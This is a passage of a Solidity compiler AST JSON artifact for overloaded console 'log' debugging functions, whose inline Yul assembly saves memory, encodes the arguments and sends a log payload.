pure"}},"id":35588,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"56994:27:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":35589,"nodeType":"ExpressionStatement","src":"56994:27:22"},{"AST":{"nativeSrc":"57040:185:22","nodeType":"YulBlock","src":"57040:185:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"57061:4:22","nodeType":"YulLiteral","src":"57061:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"57067:2:22","nodeType":"YulIdentifier","src":"57067:2:22"}],"functionName":{"name":"mstore","nativeSrc":"57054:6:22","nodeType":"YulIdentifier","src":"57054:6:22"},"nativeSrc":"57054:16:22","nodeType":"YulFunctionCall","src":"57054:16:22"},"nativeSrc":"57054:16:22","nodeType":"YulExpressionStatement","src":"57054:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"57090:4:22","nodeType":"YulLiteral","src":"57090:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"57096:2:22","nodeType":"YulIdentifier","src":"57096:2:22"}],"functionName":{"name":"mstore","nativeSrc":"57083:6:22","nodeType":"YulIdentifier","src":"57083:6:22"},"nativeSrc":"57083:16:22","nodeType":"YulFunctionCall","src":"57083:16:22"},"nativeSrc":"57083:16:22","nodeType":"YulExpressionStatement","src":"57083:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"57119:4:22","nodeType":"YulLiteral","src":"57119:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"57125:2:22","nodeType":"YulIdentifier","src":"57125:2:22"}],"functionName":{"name":"mstore","nativeSrc":"57112:6:22","nodeType":"YulIdentifier","src":"57112:6:22"},"nativeSrc":"57112:16:22","nodeType":"YulFunctionCall","src":"57112:16:22"},"nativeSrc":"57112:16:22","nodeType":"YulExpressionStatement","src":"57112:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"57148:4:22","nodeType":"YulLiteral","src":"57148:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"57154:2:22","nodeType":"YulIdentifier","src":"57154:2:22"}],"functionName":{"name":"mstore","nativeSrc":"57141:6:22","nodeType":"YulIdentifier","src":"57141:6:22"},"nativeSrc":"57141:16:22","nodeType":"YulFunctionCall","src":"57141:16:22"},"nativeSrc":"57141:16:22","nodeType":"YulExpressionStatement","src":"57141:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"57177:4:22","nodeType":"YulLiteral","src":"57177:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"57183:2:22","nodeType":"YulIdentifier","src":"57183:2:22"}],"functionName":{"name":"mstore","nativeSrc":"57170:6:22","nodeType":"YulIdentifier","src":"57170:6:22"},"nativeSrc":"57170:16:22","nodeType":"YulFunctionCall","src":"57170:16:22"},"nativeSrc":"57170:16:22","nodeType":"YulExpressionStatement","src":"57170:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"57206:4:22","nodeType":"YulLiteral","src":"57206:4:22","type":"","value":"0xa0"},{"name":"m5","nativeSrc":"57212:2:22","nodeType":"YulIdentifier","src":"57212:2:22"}],"functionName":{"name":"mstore","nativeSrc":"57199:6:22","nodeType":"YulIdentifier","src":"57199:6:22"},"nativeSrc":"57199:16:22","nodeType":"YulFunctionCall","src":"57199:16:22"},"nativeSrc":"57199:16:22","nodeType":"YulExpressionStatement","src":"57199:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":35567,"isOffset":false,"isSlot":false,"src":"57067:2:22","valueSize":1},{"declaration":35570,"isOffset":false,"isSlot":false,"src":"57096:2:22","valueSize":1},{"declaration":35573,"isOffset":false,"isSlot":false,"src":"57125:2:22","valueSize":1},{"declaration":35576,"isOffset":false,"isSlot":false,"src":"57154:2:22","valueSize":1},{"declaration":35579,"isOffset":false,"isSlot":false,"src":"57183:2:22","valueSize":1},{"declaration":35582,"isOffset":false,"isSlot":false,"src":"57212:2:22","valueSize":1}],"id":35590,"nodeType":"InlineAssembly","src":"57031:194:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"56028:3:22","parameters":{"id":35564,"nodeType":"ParameterList","parameters":[{"constant":false,"id":35559,"mutability":"mutable","name":"p0","nameLocation":"56040:2:22","nodeType":"VariableDeclaration","scope":35592,"src":"56032:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":35558,"name":"uint256","nodeType":"ElementaryTypeName","src":"56032:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":35561,"mutability":"mutable","name":"p1","nameLocation":"56052:2:22","nodeType":"VariableDeclaration","scope":35592,"src":"56044:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":35560,"name":"uint256","nodeType":"ElementaryTypeName","src":"56044:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":35563,"mutability":"mutable","name":"p2","nameLocation":"56064:2:22","nodeType":"VariableDeclaration","scope":35592,"src":"56056:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":35562,"name":"bytes32","nodeType":"ElementaryTypeName","src":"56056:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"src":"56031:36:22"},"returnParameters":{"id":35565,"nodeType":"ParameterList","parameters":[],"src":"56082:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":35627,"nodeType":"FunctionDefinition","src":"57237:1212:22","nodes":[],"body":{"id":35626,"nodeType":"Block","src":"57300:1149:22","nodes":[],"statements":[{"assignments":[35602],"declarations":[{"constant":false,"id":35602,"mutability":"mutable","name":"m0","nameLocation":"57318:2:22","nodeType":"VariableDeclaration","scope":35626,"src":"57310:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":35601,"name":"bytes32","nodeType":"ElementaryTypeName","src":"57310:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":35603,"nodeType":"VariableDeclarationStatement","src":"57310:10:22"},{"assignments":[35605],"declarations":[{"constant":false,"id":35605,"mutability":"mutable","name":"m1","nameLocation":"57338:2:22","nodeType":"VariableDeclaration","scope":35626,"src":"57330:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":35604,"name":"bytes32","nodeType":"ElementaryTypeName","src":"57330:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":35606,"nodeType":"VariableDeclarationStatement","src":"57330:10:22"},{"assignments":[35608],"declarations":[{"constant":false,"id":35608,"mutability":"mutable","name":"m2","nameLocation":"57358:2:22","nodeType":"VariableDeclaration","scope":35626,"src":"57350:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":35607,"name":"bytes32","nodeType":"ElementaryTypeName","src":"57350:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":35609,"nodeType":"VariableDeclarationStatement","src":"57350:10:22"},{"assignments":[35611],"declarations":[{"constant":false,"id":35611,"mutability":"mutable","name":"m3","nameLocation":"57378:2:22","nodeType":"VariableDeclaration","scope":35626,"src":"57370:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":35610,"name":"bytes32","nodeType":"ElementaryTypeName","src":"57370:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":35612,"nodeType":"VariableDeclarationStatement","src":"57370:10:22"},{"assignments":[35614],"declarations":[{"constant":false,"id":35614,"mutability":"mutable","name":"m4","nameLocation":"57398:2:22","nodeType":"VariableDeclaration","scope":35626,"src":"57390:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":35613,"name":"bytes32","nodeType":"ElementaryTypeName","src":"57390:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":35615,"nodeType":"VariableDeclarationStatement","src":"57390:10:22"},{"assignments":[35617],"declarations":[{"constant":false,"id":35617,"mutability":"mutable","name":"m5","nameLocation":"57418:2:22","nodeType":"VariableDeclaration","scope":35626,"src":"57410:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":35616,"name":"bytes32","nodeType":"ElementaryTypeName","src":"57410:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":35618,"nodeType":"VariableDeclarationStatement","src":"57410:10:22"},{"AST":{"nativeSrc":"57439:764:22","nodeType":"YulBlock","src":"57439:764:22","statements":[{"body":{"nativeSrc":"57482:313:22","nodeType":"YulBlock","src":"57482:313:22","statements":[{"nativeSrc":"57500:15:22","nodeType":"YulVariableDeclaration","src":"57500:15:22","value":{"kind":"number","nativeSrc":"57514:1:22","nodeType":"YulLiteral","src":"57514:1:22","type":"","value":"0"},"variables":[{"name":"length","nativeSrc":"57504:6:22","nodeType":"YulTypedName","src":"57504:6:22","type":""}]},{"body":{"nativeSrc":"57585:40:22","nodeType":"YulBlock","src":"57585:40:22","statements":[{"body":{"nativeSrc":"57614:9:22","nodeType":"YulBlock","src":"57614:9:22","statements":[{"nativeSrc":"57616:5:22","nodeType":"YulBreak","src":"57616:5:22"}]},"condition":{"arguments":[{"arguments":[{"name":"length","nativeSrc":"57602:6:22","nodeType":"YulIdentifier","src":"57602:6:22"},{"name":"w","nativeSrc":"57610:1:22","nodeType":"YulIdentifier","src":"57610:1:22"}],"functionName":{"name":"byte","nativeSrc":"57597:4:22","nodeType":"YulIdentifier","src":"57597:4:22"},"nativeSrc":"57597:15:22","nodeType":"YulFunctionCall","src":"57597:15:22"}],"functionName":{"name":"iszero","nativeSrc":"57590:6:22","nodeType":"YulIdentifier","src":"57590:6:22"},"nativeSrc":"57590:23:22","nodeType":"YulFunctionCall","src":"57590:23:22"},"nativeSrc":"57587:36:22","nodeType":"YulIf","src":"57587:36:22"}]},"condition":{"arguments":[{"name":"length","nativeSrc":"57542:6:22","nodeType":"YulIdentifier","src":"57542:6:22"},{"kind":"number","nativeSrc":"57550:4:22","nodeType":"YulLiteral","src":"57550:4:22","type":"","value":"0x20"}],"functionName":{"name":"lt","nativeSrc":"57539:2:22","nodeType":"YulIdentifier","src":"57539:2:22"},"nativeSrc":"57539:16:22","nodeType":"YulFunctionCall","src":"57539:16:22"},"nativeSrc":"57532:93:22","nodeType":"YulForLoop","post":{"nativeSrc":"57556:28:22","nodeType":"YulBlock","src":"57556:28:22","statements":[{"nativeSrc":"57558:24:22","nodeType":"YulAssignment","src":"57558:24:22","value":{"arguments":[{"name":"length","nativeSrc":"57572:6:22","nodeType":"YulIdentifier","src":"57572:6:22"},{"kind":"number","nativeSrc":"57580:1:22","nodeType":"YulLiteral","src":"57580:1:22","type":"","value":"1"}],"functionName":{"name":"add","nativeSrc":"57568:3:22","nodeType":"YulIdentifier","src":"57568:3:22"},"nativeSrc":"57568:14:22","nodeType":"YulFunctionCall","src":"57568:14:22"},"variableNames":[{"name":"length","nativeSrc":"57558:6:22","nodeType":"YulIdentifier","src":"57558:6:22"}]}]},"pre":{"nativeSrc":"57536:2:22","nodeType":"YulBlock","src":"57536:2:22","statements":[]},"src":"57532:93:22"},{"expression":{"arguments":[{"name":"pos","nativeSrc":"57649:3:22","nodeType":"YulIdentifier","src":"57649:3:22"},{"name":"length","nativeSrc":"57654:6:22","nodeType":"YulIdentifier","src":"57654:6:22"}],"functionName":{"name":"mstore","nativeSrc":"57642:6:22","nodeType":"YulIdentifier","src":"57642:6:22"},"nativeSrc":"57642:19:22","nodeType":"YulFunctionCall","src":"57642:19:22"},"nativeSrc":"57642:19:22","nodeType":"YulExpressionStatement","src":"57642:19:22"},{"nativeSrc":"57678:37:22","nodeType":"YulVariableDeclaration","src":"57678:37:22","value":{"arguments":[{"kind":"number","nativeSrc":"57695:3:22","nodeType":"YulLiteral","src":"57695:3:22","type":"","value":"256"},{"arguments":[{"kind":"number","nativeSrc":"57704:1:22","nodeType":"YulLiteral","src":"57704:1:22","type":"","value":"3"},{"name":"length","nativeSrc":"57707:6:22","nodeType":"YulIdentifier","src":"57707:6:22"}],"functionName":{"name":"shl","nativeSrc":"57700:3:22","nodeType":"YulIdentifier","src":"57700:3:22"},"nativeSrc":"57700:14:22","nodeType":"YulFunctionCall","src":"57700:14:22"}],"functionName":{"name":"sub","nativeSrc":"57691:3:22","nodeType":"YulIdentifier","src":"57691:3:22"},"nativeSrc":"57691:24:22","nodeType":"YulFunctionCall","src":"57691:24:22"},"variables":[{"name":"shift","nativeSrc":"57682:5:22","nodeType":"YulTypedName","src":"57682:5:22","type":""}]},{"expression":{"arguments":[{"arguments":[{"name":"pos","nativeSrc":"57743:3:22","nodeType":"YulIdentifier","src":"57743:3:22"},{"kind":"number","nativeSrc":"57748:4:22","nodeType":"YulLiteral","src":"57748:4:22","type":"","value":"0x20"}],"functionName":{"name":"add","nativeSrc":"57739:3:22","nodeType":"YulIdentifier","src":"57739:3:22"},"nativeSrc":"57739:14:22","nodeType":"YulFunctionCall","src":"57739:14:22"},{"arguments":[{"name":"shift","nativeSrc":"57759:5:22","nodeType":"YulIdentifier","src":"57759:5:22"},{"arguments":[{"name":"shift","nativeSrc":"57770:5:22","nodeType":"YulIdentifier","src":"57770:5:22"},{"name":"w","nativeSrc":"57777:1:22","nodeType":"YulIdentifier","src":"57777:1:22"}],"functionName":{"name":"shr","nativeSrc":"57766:3:22","nodeType":"YulIdentifier","src":"57766:3:22"},"nativeSrc":"57766:13:22","nodeType":"YulFunctionCall","src":"57766:13:22"}],"functionName":{"name":"shl","nativeSrc":"57755:3:22","nodeType":"YulIdentifier","src":"57755:3:22"},"nativeSrc":"57755:25:22","nodeType":"YulFunctionCall","src":"57755:25:22"}],"functionName":{"name":"mstore","nativeSrc":"57732:6:22","nodeType":"YulIdentifier","src":"57732:6:22"},"nativeSrc":"57732:49:22","nodeType":"YulFunctionCall","src":"57732:49:22"},"nativeSrc":"57732:49:22","nodeType":"YulExpressionStatement","src":"57732:49:22"}]},"name":"writeString","nativeSrc":"57453:342:22","nodeType":"YulFunctionDefinition","parameters":[{"name":"pos","nativeSrc":"57474:3:22","nodeType":"YulTypedName","src":"57474:3:22","type":""},{"name":"w","nativeSrc":"57479:1:22","nodeType":"YulTypedName","src":"57479:1:22","type":""}],"src":"57453:342:22"},{"nativeSrc":"57808:17:22","nodeType":"YulAssignment","src":"57808:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"57820:4:22","nodeType":"YulLiteral","src":"57820:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"57814:5:22","nodeType":"YulIdentifier","src":"57814:5:22"},"nativeSrc":"57814:11:22","nodeType":"YulFunctionCall","src":"57814:11:22"},"variableNames":[{"name":"m0","nativeSrc":"57808:2:22","nodeType":"YulIdentifier","src":"57808:2:22"}]},{"nativeSrc":"57838:17:22","nodeType":"YulAssignment","src":"57838:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"57850:4:22","nodeType":"YulLiteral","src":"57850:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"57844:5:22","nodeType":"YulIdentifier","src":"57844:5:22"},"nativeSrc":"57844:11:22","nodeType":"YulFunctionCall","src":"57844:11:22"},"variableNames":[{"name":"m1","nativeSrc":"57838:2:22","nodeType":"YulIdentifier","src":"57838:2:22"}]},{"nativeSrc":"57868:17:22","nodeType":"YulAssignment","src":"57868:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"57880:4:22","nodeType":"YulLiteral","src":"57880:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"57874:5:22","nodeType":"YulIdentifier","src":"57874:5:22"},"nativeSrc":"57874:11:22","nodeType":"YulFunctionCall","src":"57874:11:22"},"variableNames":[{"name":"m2","nativeSrc":"57868:2:22","nodeType":"YulIdentifier","src":"57868:2:22"}]},{"nativeSrc":"57898:17:22","nodeType":"YulAssignment","src":"57898:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"57910:4:22","nodeType":"YulLiteral","src":"57910:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"57904:5:22","nodeType":"YulIdentifier","src":"57904:5:22"},"nativeSrc":"57904:11:22","nodeType":"YulFunctionCall","src":"57904:11:22"},"variableNames":[{"name":"m3","nativeSrc":"57898:2:22","nodeType":"YulIdentifier","src":"57898:2:22"}]},{"nativeSrc":"57928:17:22","nodeType":"YulAssignment","src":"57928:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"57940:4:22","nodeType":"YulLiteral","src":"57940:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"57934:5:22","nodeType":"YulIdentifier","src":"57934:5:22"},"nativeSrc":"57934:11:22","nodeType":"YulFunctionCall","src":"57934:11:22"},"variableNames":[{"name":"m4","nativeSrc":"57928:2:22","nodeType":"YulIdentifier","src":"57928:2:22"}]},{"nativeSrc":"57958:17:22","nodeType":"YulAssignment","src":"57958:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"57970:4:22","nodeType":"YulLiteral","src":"57970:4:22","type":"","value":"0xa0"}],"functionName":{"name":"mload","nativeSrc":"57964:5:22","nodeType":"YulIdentifier","src":"57964:5:22"},"nativeSrc":"57964:11:22","nodeType":"YulFunctionCall","src":"57964:11:22"},"variableNames":[{"name":"m5","nativeSrc":"57958:2:22","nodeType":"YulIdentifier","src":"57958:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"58053:4:22","nodeType":"YulLiteral","src":"58053:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"58059:10:22","nodeType":"YulLiteral","src":"58059:10:22","type":"","value":"0x7afac959"}],"functionName":{"name":"mstore","nativeSrc":"58046:6:22","nodeType":"YulIdentifier","src":"58046:6:22"},"nativeSrc":"58046:24:22","nodeType":"YulFunctionCall","src":"58046:24:22"},"nativeSrc":"58046:24:22","nodeType":"YulExpressionStatement","src":"58046:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"58090:4:22","nodeType":"YulLiteral","src":"58090:4:22","type":"","value":"0x20"},{"name":"p0","nativeSrc":"58096:2:22","nodeType":"YulIdentifier","src":"58096:2:22"}],"functionName":{"name":"mstore","nativeSrc":"58083:6:22","nodeType":"YulIdentifier","src":"58083:6:22"},"nativeSrc":"58083:16:22","nodeType":"YulFunctionCall","src":"58083:16:22"},"nativeSrc":"58083:16:22","nodeType":"YulExpressionStatement","src":"58083:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"58119:4:22","nodeType":"YulLiteral","src":"58119:4:22","type":"","value":"0x40"},{"kind":"number","nativeSrc":"58125:4:22","nodeType":"YulLiteral","src":"58125:4:22","type":"","value":"0x60"}],"functionName":{"name":"mstore","nativeSrc":"58112:6:22","nodeType":"YulIdentifier","src":"58112:6:22"},"nativeSrc":"58112:18:22","nodeType":"YulFunctionCall","src":"58112:18:22"},"nativeSrc":"58112:18:22","nodeType":"YulExpressionStatement","src":"58112:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"58150:4:22","nodeType":"YulLiteral","src":"58150:4:22","type":"","value":"0x60"},{"name":"p2","nativeSrc":"58156:2:22","nodeType":"YulIdentifier","src":"58156:2:22"}],"functionName":{"name":"mstore","nativeSrc":"58143:6:22","nodeType":"YulIdentifier","src":"58143:6:22"},"nativeSrc":"58143:16:22","nodeType":"YulFunctionCall","src":"58143:16:22"},"nativeSrc":"58143:16:22","nodeType":"YulExpressionStatement","src":"58143:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"58184:4:22","nodeType":"YulLiteral","src":"58184:4:22","type":"","value":"0x80"},{"name":"p1","nativeSrc":"58190:2:22","nodeType":"YulIdentifier","src":"58190:2:22"}],"functionName":{"name":"writeString","nativeSrc":"58172:11:22","nodeType":"YulIdentifier","src":"58172:11:22"},"nativeSrc":"58172:21:22","nodeType":"YulFunctionCall","src":"58172:21:22"},"nativeSrc":"58172:21:22","nodeType":"YulExpressionStatement","src":"58172:21:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":35602,"isOffset":false,"isSlot":false,"src":"57808:2:22","valueSize":1},{"declaration":35605,"isOffset":false,"isSlot":false,"src":"57838:2:22","valueSize":1},{"declaration":35608,"isOffset":false,"isSlot":false,"src":"57868:2:22","valueSize":1},{"declaration":35611,"isOffset":false,"isSlot":false,"src":"57898:2:22","valueSize":1},{"declaration":35614,"isOffset":false,"isSlot":false,"src":"57928:2:22","valueSize":1},{"declaration":35617,"isOffset":false,"isSlot":false,"src":"57958:2:22","valueSize":1},{"declaration":35594,"isOffset":false,"isSlot":false,"src":"58096:2:22","valueSize":1},{"declaration":35596,"isOffset":false,"isSlot":false,"src":"58190:2:22","valueSize":1},{"declaration":35598,"isOffset":false,"isSlot":false,"src":"58156:2:22","valueSize":1}],"id":35619,"nodeType":"InlineAssembly","src":"57430:773:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":35621,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"58228:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"30786134","id":35622,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"58234:4:22","typeDescriptions":{"typeIdentifier":"t_rational_164_by_1","typeString":"int_const 164"},"value":"0xa4"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_164_by_1","typeString":"int_const 164"}],"id":35620,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"58212:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":35623,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"58212:27:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":35624,"nodeType":"ExpressionStatement","src":"58212:27:22"},{"AST":{"nativeSrc":"58258:185:22","nodeType":"YulBlock","src":"58258:185:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"58279:4:22","nodeType":"YulLiteral","src":"58279:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"58285:2:22","nodeType":"YulIdentifier","src":"58285:2:22"}],"functionName":{"name":"mstore","nativeSrc":"58272:6:22","nodeType":"YulIdentifier","src":"58272:6:22"},"nativeSrc":"58272:16:22","nodeType":"YulFunctionCall","src":"58272:16:22"},"nativeSrc":"58272:16:22","nodeType":"YulExpressionStatement","src":"58272:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"58308:4:22","nodeType":"YulLiteral","src":"58308:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"58314:2:22","nodeType":"YulIdentifier","src":"58314:2:22"}],"functionName":{"name":"mstore","nativeSrc":"58301:6:22","nodeType":"YulIdentifier","src":"58301:6:22"},"nativeSrc":"58301:16:22","nodeType":"YulFunctionCall","src":"58301:16:22"},"nativeSrc":"58301:16:22","nodeType":"YulExpressionStatement","src":"58301:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"58337:4:22","nodeType":"YulLiteral","src":"58337:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"58343:2:22","nodeType":"YulIdentifier","src":"58343:2:22"}],"functionName":{"name":"mstore","nativeSrc":"58330:6:22","nodeType":"YulIdentifier","src":"58330:6:22"},"nativeSrc":"58330:16:22","nodeType":"YulFunctionCall","src":"58330:16:22"},"nativeSrc":"58330:16:22","nodeType":"YulExpressionStatement","src":"58330:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"58366:4:22","nodeType":"YulLiteral","src":"58366:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"58372:2:22","nodeType":"YulIdentifier","src":"58372:2:22"}],"functionName":{"name":"mstore","nativeSrc":"58359:6:22","nodeType":"YulIdentifier","src":"58359:6:22"},"nativeSrc":"58359:16:22","nodeType":"YulFunctionCall","src":"58359:16:22"},"nativeSrc":"58359:16:22","nodeType":"YulExpressionStatement","src":"58359:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"58395:4:22","nodeType":"YulLiteral","src":"58395:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"58401:2:22","nodeType":"YulIdentifier","src":"58401:2:22"}],"functionName":{"name":"mstore","nativeSrc":"58388:6:22","nodeType":"YulIdentifier","src":"58388:6:22"},"nativeSrc":"58388:16:22","nodeType":"YulFunctionCall","src":"58388:16:22"},"nativeSrc":"58388:16:22","nodeType":"YulExpressionStatement","src":"58388:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"58424:4:22","nodeType":"YulLiteral","src":"58424:4:22","type":"","value":"0xa0"},{"name":"m5","nativeSrc":"58430:2:22","nodeType":"YulIdentifier","src":"58430:2:22"}],"functionName":{"name":"mstore","nativeSrc":"58417:6:22","nodeType":"YulIdentifier","src":"58417:6:22"},"nativeSrc":"58417:16:22","nodeType":"YulFunctionCall","src":"58417:16:22"},"nativeSrc":"58417:16:22","nodeType":"YulExpressionStatement","src":"58417:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":35602,"isOffset":false,"isSlot":false,"src":"58285:2:22","valueSize":1},{"declaration":35605,"isOffset":false,"isSlot":false,"src":"58314:2:22","valueSize":1},{"declaration":35608,"isOffset":false,"isSlot":false,"src":"58343:2:22","valueSize":1},{"declaration":35611,"isOffset":false,"isSlot":false,"src":"58372:2:22","valueSize":1},{"declaration":35614,"isOffset":false,"isSlot":false,"src":"58401:2:22","valueSize":1},{"declaration":35617,"isOffset":false,"isSlot":false,"src":"58430:2:22","valueSize":1}],"id":35625,"nodeType":"InlineAssembly","src":"58249:194:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"57246:3:22","parameters":{"id":35599,"nodeType":"ParameterList","parameters":[{"constant":false,"id":35594,"mutability":"mutable","name":"p0","nameLocation":"57258:2:22","nodeType":"VariableDeclaration","scope":35627,"src":"57250:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":35593,"name":"uint256","nodeType":"ElementaryTypeName","src":"57250:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":35596,"mutability":"mutable","name":"p1","nameLocation":"57270:2:22","nodeType":"VariableDeclaration","scope":35627,"src":"57262:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":35595,"name":"bytes32","nodeType":"ElementaryTypeName","src":"57262:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":35598,"mutability":"mutable","name":"p2","nameLocation":"57282:2:22","nodeType":"VariableDeclaration","scope":35627,"src":"57274:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":35597,"name":"address","nodeType":"ElementaryTypeName","src":"57274:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"57249:36:22"},"returnParameters":{"id":35600,"nodeType":"ParameterList","parameters":[],"src":"57300:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":35662,"nodeType":"FunctionDefinition","src":"58455:1206:22","nodes":[],"body":{"id":35661,"nodeType":"Block","src":"58515:1146:22","nodes":[],"statements":[{"assignments":[35637],"declarations":[{"constant":false,"id":35637,"mutability":"mutable","name":"m0","nameLocation":"58533:2:22","nodeType":"VariableDeclaration","scope":35661,"src":"58525:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":35636,"name":"bytes32","nodeType":"ElementaryTypeName","src":"58525:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":35638,"nodeType":"VariableDeclarationStatement","src":"58525:10:22"},{"assignments":[35640],"declarations":[{"constant":false,"id":35640,"mutability":"mutable","name":"m1","nameLocation":"58553:2:22","nodeType":"VariableDeclaration","scope":35661,"src":"58545:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":35639,"name":"bytes32","nodeType":"ElementaryTypeName","src":"58545:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":35641,"nodeType":"VariableDeclarationStatement","src":"58545:10:22"},{"assignments":[35643],"declarations":[